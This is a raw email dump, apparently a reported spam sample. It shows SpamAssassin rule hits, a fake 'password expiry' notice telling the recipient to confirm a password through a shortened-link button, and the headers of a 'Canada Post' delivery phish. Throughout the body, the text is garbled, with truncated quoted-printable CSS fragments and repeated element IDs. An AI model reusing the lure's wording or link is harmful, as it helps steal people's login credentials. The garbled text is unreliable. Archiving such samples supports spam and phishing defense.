[188.127.225.191 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[188.127.225.191 listed in will-spam-for-food.eu.org]

[188.127.225.191 listed in will-spam-for-food.eu.org]

[188.127.225.191 listed in will-spam-for-food.eu.org]

[188.127.225.191 listed in will-spam-for-food.eu.org]

[188.127.225.191 listed in will-spam-for-food.eu.org]

[188.127.225.191 listed in will-spam-for-food.eu.org]

[188.127.225.191 listed in will-spam-for-food.eu.org]

[188.127.225.191 listed in will-spam-for-food.eu.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The

query to Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[188.127.225.191 listed in sa-trusted.bondedsender.org]

0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[188.127.225.191 listed in sa-accredit.habeas.com]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[188.127.225.191 listed in wl.mailspike.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[188.127.225.191 listed in bl.score.senderscore.com]

0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[188.127.225.191 listed in bl.score.senderscore.com]

0.9 SPF_FAIL SPF: sender does not match SPF record (fail)

[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=aase-b%40olympicbd.com;ip=188.127.225.191;r=doctor.nl2k.ab.ca]

0.0 SPF_HELO_FAIL SPF: HELO does not match SPF record (fail)

[SPF failed: Please see http://www.openspf.org/Why?s=helo;id=compphp.com;ip=188.127.225.191;r=doctor.nl2k.ab.ca]

1.1 TRACKER_ID BODY: Incorporates a tracking ID number

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

3.0 VOWEL_URI_7 RAW: URI hostname with 7+ consecutive vowels

1.0 IMPRO_URI_2 No description available.

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

0.0 HTML_FONT_TINY_NORDNS Font too small to read, no rDNS

0.4 GOOG_REDIR_NORDNS Google redirect to obscure spamvertised website +

no rDNS

0.0 TO_NO_BRKTS_NORDNS_HTML To: misformatted and no rDNS and HTML only

Subject: {SPAM?} PASSWORD_EXPIRY_NOTIFICATION
















none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, genev=

a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=

rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: nor=

mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial;=20

text-decoration-color: initial;">doctor.nl2k.ab.ca=

 
 Support




none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, genev=

a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=

rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: nor=

mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial;=20

text-decoration-color: initial;"> 




none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, genev=

a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=

rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: nor=

mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial;=20

text-decoration-color: initial;"> 




none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, genev=

a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=

rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: nor=

mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial;=20

text-decoration-color: initial;"> 




none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, genev=

a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=

rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: nor=

mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial;=20

text-decoration-color: initial;">Dear dave,




rm: none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, ge=

neva, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; wo=

rd-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-col=

or: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: =

normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial;=

text-decoration-style: initial;=20

text-decoration-color: initial;">
Your password =

will expire in 24 Hours time (

vetica, sans-serif; font-size: 13px;"> =

25 Dec 2024

000"> )





none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, genev=

a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=

rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: nor=

mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial;=20

text-decoration-color: initial;">Kindly confirm the password for (<=

/b>


id=3D"m_-2222669791482393307m_-7928406792537248448m_-3038037153662569217m_-=

5788941479962968751m_-1202435600481296483m_-5904404316596436051m_-409214478=

253531928m_135490411793871315m_-7514180902648099386m_1616308916364919129m_-=

4399188839983151299m_-2446555486690815603m_1930257015499271794m_-5150884984=

75826128m_3059257206365286234m_8706193983898588902m_7243729558146210678m_-4=

835023991429270782m_-5216311134067827581m_2154844125589192691m_565569309246=

4098942m_-8675014381749206823m_6631899192719373916m_

-3534390601666723380gmail-OBJ_PREFIX_DWT65_com_zimbra_url" role=3D"lin=

k" style=3D"color: rgb(0, 90, 149);">dave@doctor.nl2k.ab.ca
>)
 to continue using the same password.




one; text-indent: 0px; letter-spacing: normal; padding-top: 6px; font-famil=

y: arial, sans-serif; font-size: 18px; font-style: normal; font-weight: 400=

; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background=

-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-ca=

ps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: init=

ial; text-decoration-style: initial;=20

text-decoration-color: initial;">




letter-spacing: normal; font-family: "helvetica neue", helvetica, arial, s=

ans-serif; font-size: 13px; font-style: normal; font-weight: 400; word-spac=

ing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb=

(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal;=

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-d=

ecoration-style: initial; text-decoration-color:=20

initial;'>




tter-spacing: normal; font-family: "Segoe UI", "Lucida Sans", sans-serif; f=

ont-size: 14.16px; font-style: normal; font-weight: 400; word-spacing: 0px;=

white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255=

, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-=

text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration=

-style: initial; text-decoration-color: initial;'>




text-indent: 0px; letter-spacing: normal; font-family: tahoma, geneva, san=

s-serif; font-size: 18px; font-style: normal; font-weight: 400; word-spacin=

g: 0px; white-space: normal; border-collapse: collapse; border-spacing: 0px=

; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant=

-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0=

px; text-decoration-thickness: initial;=20

text-decoration-style: initial; text-decoration-color: initial;">
>


dy>

215); border-image: none; width: 200px; text-align: center; color: rgb(255,=

255, 255); line-height: 20px; font-family: "segoe ui semibold", "segoe wp =

semibold", "segoe ui", "segoe wp", segoe, tahoma, "microsoft sans serif", v=

erdana, sans-serif; font-size: 14px; vertical-align: middle; white-space: n=

owrap; min-height: 30px; background-color: rgb(0, 120, 215);'>

           
id=3D"m_-2222669791482393307m_-7928406792537248448m_-3038037153662569217m_-=

5788941479962968751m_-1202435600481296483m_-5904404316596436051m_-409214478=

253531928m_135490411793871315m_-7514180902648099386m_1616308916364919129m_-=

4399188839983151299m_-2446555486690815603m_1930257015499271794m_-5150884984=

75826128m_3059257206365286234m_8706193983898588902m_7243729558146210678m_-4=

835023991429270782m_-5216311134067827581m_2154844125589192691m_565569309246=

4098942m_-8675014381749206823m_6631899192719373916m_

-3534390601666723380gmail-OBJ_PREFIX_DWT66_com_zimbra_url" role=3D"lin=

k" style=3D"color: rgb(0, 90, 149);">
outline-width: medium; outline-style: none; text-decoration-line: none;" h=

ref=3D"https://u.to/vQMXIQ#dave@doctor.nl2k.ab.ca" target=3D"_blank" rel=3D=

"nofollow nofollow noopener noreferrer" data-saferedirecturl=3D"https://www=

=2Egoogle.com/url?q=3Dhttps://u.to/vQMXIQ%23%5B%5B-Email-%5D%5D&source=

=3Dgmail&ust=3D1735060534454000&usg=3DAOvVaw0w3IllFs1p4LKLE0HVokGZ"=

>

Confirm Password



letter-spacing: normal; font-family: "helvetica neue", helvetica, arial, s=

ans-serif; font-size: 13px; font-style: normal; font-weight: 400; word-spac=

ing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb=

(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal;=

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-d=

ecoration-style: initial; text-decoration-color:=20

initial;'>


t-indent: 0px; letter-spacing: normal; font-family: arial, sans-serif; font=

-size: 18px; font-style: normal; font-weight: 400; word-spacing: 0px; white=

-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255)=

; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-s=

troke-width: 0px; text-decoration-thickness: initial; text-decoration-style=

: initial; text-decoration-color: initial;">




none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, genev=

a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=

rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: nor=

mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial;=20

text-decoration-color: initial;"> 




rm: none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, ge=

neva, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; wo=

rd-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-col=

or: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: =

normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial;=

text-decoration-style: initial;=20

text-decoration-color: initial;">Not=

e:
 
rgb(17, 85, 204);" href=3D"http://grm.net/" target=3D"_blank" data-saferedi=

recturl=3D"https://www.google.com/url?q=3Dhttp://grm.net&source=3Dgmail=

&ust=3D1735060534454000&usg=3DAOvVaw0ooa_w6ffDBQfw7MhmfOW2">
olor=3D"#0b5394">doctor.nl2k.ab.ca
 =

 
">

will not be responsible for any login malfunction after this warning and no=

verification response.




none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, genev=

a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=

rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: nor=

mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial;=20

text-decoration-color: initial;"> 




none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, genev=

a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=

rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: nor=

mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial;=20

text-decoration-color: initial;">Thanks and Regards,




rm: none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, ge=

neva, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; wo=

rd-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-col=

or: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: =

normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial;=

text-decoration-style: initial;=20

text-decoration-color: initial;">

204);" href=3D"http://grm.net/" target=3D"_blank" data-saferedirecturl=3D"=

https://www.google.com/url?q=3Dhttp://grm.net&source=3Dgmail&ust=3D=

1735060534454000&usg=3DAOvVaw0ooa_w6ffDBQfw7MhmfOW2">
5394">doctor.nl2k.ab.ca
 
rong>Support
#000000">   (C) 2024 Secured Service. - 


This email was sent to 


id=3D"m_-2222669791482393307m_-7928406792537248448m_-3038037153662569217m_-=

5788941479962968751m_-1202435600481296483m_-5904404316596436051m_-409214478=

253531928m_135490411793871315m_-7514180902648099386m_1616308916364919129m_-=

4399188839983151299m_-2446555486690815603m_1930257015499271794m_-5150884984=

75826128m_3059257206365286234m_8706193983898588902m_7243729558146210678m_-4=

835023991429270782m_-5216311134067827581m_2154844125589192691m_565569309246=

4098942m_-8675014381749206823m_6631899192719373916m_

-3534390601666723380gmail-OBJ_PREFIX_DWT67_com_zimbra_url" role=3D"lin=

k">
m/compose.php?sendto=3Dinfo%40prakriti.ind.in" target=3D"_blank" rel=3D"nof=

ollow nofollow noopener noreferrer" data-saferedirecturl=3D"https://www.goo=

gle.com/url?q=3Dhttps://email05.godaddy.com/compose.php?sendto%3Dinfo%2540p=

rakriti.ind.in&source=3Dgmail&ust=3D1735060534454000&usg=3DAOvV=

aw2htGx3KEv66GXhDRNp5NBF">dave@doctor.nl2k.ab.ca
ont>







none; text-indent: 0px; letter-spacing: normal; font-family: tahoma, genev=

a, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; word-=

spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color:=

rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: nor=

mal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; te=

xt-decoration-style: initial;=20

text-decoration-color: initial;">
>
 





etter-spacing: normal; font-family: tahoma, geneva, sans-serif; font-size: =

12px; font-style: normal; font-weight: 400; word-spacing: 0px; white-space:=

normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-=

variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-w=

idth: 0px; text-decoration-thickness: initial; text-decoration-style: initi=

al; text-decoration-color: initial;">


one; text-indent: 0px; letter-spacing: normal; padding-top: 6px; font-famil=

y: arial, sans-serif; font-size: 18px; font-style: normal; font-weight: 400=

; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background=

-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-ca=

ps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: init=

ial; text-decoration-style: initial;=20

text-decoration-color: initial;">
, 0); font-family: tahoma, geneva, sans-serif;">Please do not reply t=

o this email. This auto-mailbox is not monitored and you will not receive a=

response.



Caanda Post Phish from Amazon AWS

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 19 Dec 2024 04:34:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98 (FreeBSD))

(envelope-from )

id 1tOEmT-000000002V9-4BBI

for dave@doctor.nl2k.ab.ca;

Thu, 19 Dec 2024 04:33:26 -0700

Resent-From: The Doctor

Resent-Date: Thu, 19 Dec 2024 04:33:25 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [158.199.249.240] (port=28656 helo=m138.secure.ne.jp)

by doctor.nl2k.ab.ca with smtp (Exim 4.98 (FreeBSD))

(envelope-from )

id 1tOD2a-00000000CL8-0ofV

for doctor@netknow.ca;

Thu, 19 Dec 2024 02:42:20 -0700

Received: (qmail 93280 invoked from network); 19 Dec 2024 18:39:55 +0900

Received: from unknown (HELO EC2AMAZ-5SIQGT5) (hayashi@oceans-p.jp@35.78.106.200)

by 0 with SMTP; 19 Dec 2024 18:39:55 +0900

MIME-Version: 1.0

From: "Ca-Post/Postes-Ca"

To: doctor@netknow.ca

Date: 19 Dec 2024 09:39:55 +0000

Subject: =?utf-8?B?RGVsaXZlcnkgTm90aWZpY2F0aW9uIGZvciBJdGVtIC8gQXZp?=

=?utf-8?B?cyBkZSBsaXZyYWlzb24gcG91ciBsJ2FydGljbGUuIE7CuiA3MDQyMDMy?=

=?utf-8?B?NTIyMDc0Mzcx?=

Content-Type: multipart/alternative;

boundary=--boundary_3962_37a9d674-ea33-4d2c-81e2-2f58a749d530

X-Spam_score: 7.9

X-Spam_score_int: 79

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: